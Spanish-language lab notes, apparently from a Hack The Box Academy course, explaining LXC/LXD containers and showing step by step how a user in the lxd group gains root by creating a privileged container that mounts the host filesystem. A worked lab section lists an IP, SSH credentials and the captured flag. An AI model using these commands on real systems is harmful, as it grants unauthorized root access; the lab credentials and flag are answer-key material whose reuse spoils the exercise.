🐧Contenedores
Los contenedores funcionan a nivel de sistema operativo y las máquinas virtuales a nivel de hardware. De esta forma, los contenedores comparten un sistema operativo y aíslan los procesos de aplicación del resto del sistema, mientras que la virtualización clásica permite que varios sistemas operativos se ejecuten simultáneamente en un único sistema.
El aislamiento y la virtualización son fundamentales porque ayudan a gestionar los recursos y los aspectos de seguridad de la forma más eficiente posible. Por ejemplo, facilitan la monitorización para encontrar errores en el sistema que muchas veces no tienen nada que ver con aplicaciones recién desarrolladas. Otro ejemplo sería el aislamiento de procesos que normalmente requieren privilegios de root. Una aplicación de este tipo podría ser una aplicación web o una API que deba aislarse del sistema host para evitar que escale a las bases de datos.
Contenedores de Linux - LXC
Linux Containers (LXC
) es una técnica de virtualización a nivel de sistema operativo que permite que varios sistemas Linux se ejecuten de forma aislada unos de otros en un único host al poseer sus propios procesos pero compartir el núcleo del sistema host para ellos. LXC es muy popular debido a su facilidad de uso y se ha convertido en una parte esencial de la seguridad informática.
De forma predeterminada, los LXC
consumen menos recursos que una máquina virtual y tienen una interfaz estándar, lo que facilita la gestión simultánea de varios contenedores. Una plataforma con LXC
incluso puede organizarse en varias nubes, lo que proporciona portabilidad y garantiza que las aplicaciones que se ejecutan correctamente en el sistema del desarrollador funcionarán en cualquier otro sistema. Además, las aplicaciones grandes se pueden iniciar, detener o modificar sus variables de entorno a través de la interfaz de contenedores de Linux.
La facilidad de uso de Docker LXC
es su mayor ventaja frente a las técnicas de virtualización clásicas. Sin embargo, la enorme difusión de Docker LXC
, un ecosistema casi omnipresente y herramientas innovadoras se deben principalmente a la plataforma Docker, que estableció los contenedores Linux. Toda la configuración, desde la creación de plantillas de contenedores y su implementación, pasando por la configuración del sistema operativo y la red, hasta la implementación de aplicaciones, sigue siendo la misma.
Daemon de Linux - LXD
Linux Daemon ( LXD ) es similar en algunos aspectos, pero está diseñado para contener un sistema operativo completo. Por lo tanto, no es un contenedor de aplicaciones, sino un contenedor de sistemas. Antes de poder usar este servicio para aumentar nuestros privilegios, debemos estar en el grupo lxc
o lxd
. Podemos averiguarlo con el siguiente comando:
container-user@nix02:~$ id
uid=1000(container-user) gid=1000(container-user) groups=1000(container-user),116(lxd)
A partir de aquí, existen varias formas de explotar LXC
/ LXD
. Podemos crear nuestro propio contenedor y transferirlo al sistema de destino o utilizar un contenedor existente. Desafortunadamente, los administradores a menudo utilizan plantillas que tienen poca o ninguna seguridad. Esta actitud tiene la consecuencia de que ya tenemos herramientas que podemos utilizar contra el sistema nosotros mismos.
container-user@nix02:~$ cd ContainerImages
container-user@nix02:~$ ls
ubuntu-template.tar.xz
Este tipo de plantillas no suelen tener contraseñas, sobre todo si se trata de entornos de prueba sencillos. Deben ser de fácil acceso y de uso sencillo. El enfoque en la seguridad complicaría todo el proceso, lo haría más difícil y, por lo tanto, lo ralentizaría considerablemente. Si tenemos un poco de suerte y existe un contenedor de este tipo en el sistema, se puede aprovechar. Para ello, debemos importar este contenedor como imagen.
container-user@nix02:~$ lxc image import ubuntu-template.tar.xz --alias ubuntutemp
container-user@nix02:~$ lxc image list
+-------------------------------------+--------------+--------+-----------------------------------------+--------------+-----------------+-----------+-------------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE |
+-------------------------------------+--------------+--------+-----------------------------------------+--------------+-----------------+-----------+-------------------------------+
| ubuntu/18.04 (v1.1.2) | 623c9f0bde47 | no | Ubuntu bionic amd64 (20221024_11:49) | x86_64 | CONTAINER | 106.49MB | Oct 24, 2022 at 12:00am (UTC) |
+-------------------------------------+--------------+--------+-----------------------------------------+--------------+-----------------+-----------+-------------------------------+
Después de verificar que esta imagen se ha importado correctamente, podemos iniciar la imagen y configurarla especificando el indicador security.privileged
y la ruta raíz del contenedor. Este indicador deshabilita todas las funciones de aislamiento que nos permiten actuar sobre el host.
container-user@nix02:~$ lxc init ubuntutemp privesc -c security.privileged=true
container-user@nix02:~$ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
Una vez que hayamos hecho eso, podemos iniciar el contenedor e iniciar sesión en él. En el contenedor, podemos ir a la ruta que especificamos para acceder al recurso
del sistema host como root
.
container-user@nix02:~$ lxc start privesc
container-user@nix02:~$ lxc exec privesc /bin/bash
root@nix02:~# ls -l /mnt/root
total 68
lrwxrwxrwx 1 root root 7 Apr 23 2020 bin -> usr/bin
drwxr-xr-x 4 root root 4096 Sep 22 11:34 boot
drwxr-xr-x 2 root root 4096 Oct 6 2021 cdrom
drwxr-xr-x 19 root root 3940 Oct 24 13:28 dev
drwxr-xr-x 100 root root 4096 Sep 22 13:27 etc
drwxr-xr-x 3 root root 4096 Sep 22 11:06 home
lrwxrwxrwx 1 root root 7 Apr 23 2020 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Apr 23 2020 lib32 -> usr/lib32
lrwxrwxrwx 1 root root 9 Apr 23 2020 lib64 -> usr/lib64
lrwxrwxrwx 1 root root 10 Apr 23 2020 libx32 -> usr/libx32
drwx------ 2 root root 16384 Oct 6 2021 lost+found
drwxr-xr-x 2 root root 4096 Oct 24 13:28 media
drwxr-xr-x 2 root root 4096 Apr 23 2020 mnt
drwxr-xr-x 2 root root 4096 Apr 23 2020 opt
dr-xr-xr-x 307 root root 0 Oct 24 13:28 proc
drwx------ 6 root root 4096 Sep 26 21:11 root
drwxr-xr-x 28 root root 920 Oct 24 13:32 run
lrwxrwxrwx 1 root root 8 Apr 23 2020 sbin -> usr/sbin
drwxr-xr-x 7 root root 4096 Oct 7 2021 snap
drwxr-xr-x 2 root root 4096 Apr 23 2020 srv
dr-xr-xr-x 13 root root 0 Oct 24 13:28 sys
drwxrwxrwt 13 root root 4096 Oct 24 13:44 tmp
drwxr-xr-x 14 root root 4096 Sep 22 11:11 usr
drwxr-xr-x 13 root root 4096 Apr 23 2020 var
Caso práctico
SSH a 10.129.31.165 (ACADEMY-LLPE-CONT)
Uusuario "htb-student"
Contraseña "HTB_@cademy_stdnt!"
Aumente los privilegios y envíe el contenido de flag.txt
como respuesta.
Una vez dentro del host por SSH vemos que pertenece al grupo lxd
:
htb-student@ubuntu:~$ id
uid=1000(htb-student) gid=1000(htb-student) groups=1000(htb-student),116(lxd)
Con un lxc list
lo verificamos:
htb-student@ubuntu:~/ContainerImages$ lxc list
+--------+---------+---------------------+------+-----------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+--------+---------+---------------------+------+-----------+-----------+
| ubuntu | RUNNING | 10.134.16.30 (eth0) | | CONTAINER | 0 |
+--------+---------+---------------------+------+-----------+-----------+
Vemos que hay un directorio ContainerImages
que contiene una plantilla Alpine
comprimida:
htb-student@ubuntu:~$ ls
ContainerImages snap
htb-student@ubuntu:~$ cd ContainerImages/
htb-student@ubuntu:~/ContainerImages$ ls
alpine-v3.18-x86_64-20230607_1234.tar.gz
Ahora vamos a importar este contenedor como imagen, y le damos el alias de alpine
. Además con lxc image list
nos aseguramos de que está importado correctamente:
htb-student@ubuntu:~/ContainerImages$ lxc image import ./alpine-v3.18-x86_64-20230607_1234.tar.gz --alias alpine
Image imported with fingerprint: 5cfe4f7510aa3893f14e7cb0097d202d8b86ef71bf9731f68ee55e7e8808a541
htb-student@ubuntu:~/ContainerImages$ lxc image list
+--------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE |
+--------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
| alpine | 5cfe4f7510aa | no | alpine v3.18 (20230607_12:34) | x86_64 | CONTAINER | 3.62MB | Oct 21, 2024 at 8:32pm (UTC) |
+--------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
Después de verificar que esta imagen se ha importado correctamente, podemos iniciar la imagen y configurarla especificando el indicador security.privileged
y la ruta raíz del contenedor. Este indicador deshabilita todas las funciones de aislamiento que nos permiten actuar sobre el host.
htb-student@ubuntu:~/ContainerImages$ lxc init alpine privesc -c security.privileged=true
Creating privesc
htb-student@ubuntu:~/ContainerImages$ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
Device host-root added to privesc
Una vez que hayamos hecho eso, podemos iniciar el contenedor e iniciar sesión en él. Además si le pasamos el parámetro /bin/sh
obtenemos directamente una shell del root:
htb-student@ubuntu:~/ContainerImages$ lxc exec privesc /bin/sh
~ # whoami
root
~ # id
uid=0(root) gid=0(root)
~ # ls
~ # cd /root
~ # ls
~ # ls -l /mnt/root
total 68
lrwxrwxrwx 1 root root 7 Apr 23 2020 bin -> usr/bin
drwxr-xr-x 4 root root 4096 Sep 22 2022 boot
drwxr-xr-x 2 root root 4096 Oct 6 2021 cdrom
drwxr-xr-x 19 root root 3980 Oct 21 20:22 dev
drwxr-xr-x 100 root root 4096 Jun 7 2023 etc
drwxr-xr-x 3 root root 4096 Sep 22 2022 home
lrwxrwxrwx 1 root root 7 Apr 23 2020 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Apr 23 2020 lib32 -> usr/lib32
lrwxrwxrwx 1 root root 9 Apr 23 2020 lib64 -> usr/lib64
lrwxrwxrwx 1 root root 10 Apr 23 2020 libx32 -> usr/libx32
drwx------ 2 root root 16384 Oct 6 2021 lost+found
drwxr-xr-x 2 root root 4096 Oct 21 20:22 media
drwxr-xr-x 2 root root 4096 Apr 23 2020 mnt
drwxr-xr-x 2 root root 4096 Apr 23 2020 opt
dr-xr-xr-x 320 root root 0 Oct 21 20:22 proc
drwx------ 6 root root 4096 Jun 14 2023 root
drwxr-xr-x 28 root root 900 Oct 21 20:24 run
lrwxrwxrwx 1 root root 8 Apr 23 2020 sbin -> usr/sbin
drwxr-xr-x 8 root root 4096 Jun 7 2023 snap
drwxr-xr-x 2 root root 4096 Apr 23 2020 srv
dr-xr-xr-x 13 root root 0 Oct 21 20:22 sys
drwxrwxrwt 13 root root 4096 Oct 21 20:39 tmp
drwxr-xr-x 14 root root 4096 Sep 22 2022 usr
drwxr-xr-x 13 root root 4096 Apr 23 2020 var
Buscamos la flag dentro de /mnt/root
:
~ # find /mnt/root -name "flag.txt" 2>/dev/null
/mnt/root/root/flag.txt
~ #
~ # cat /mnt/root/root/flag.txt
HTB{C0nT41n3rs_uhh}
Última actualización
¿Te fue útil?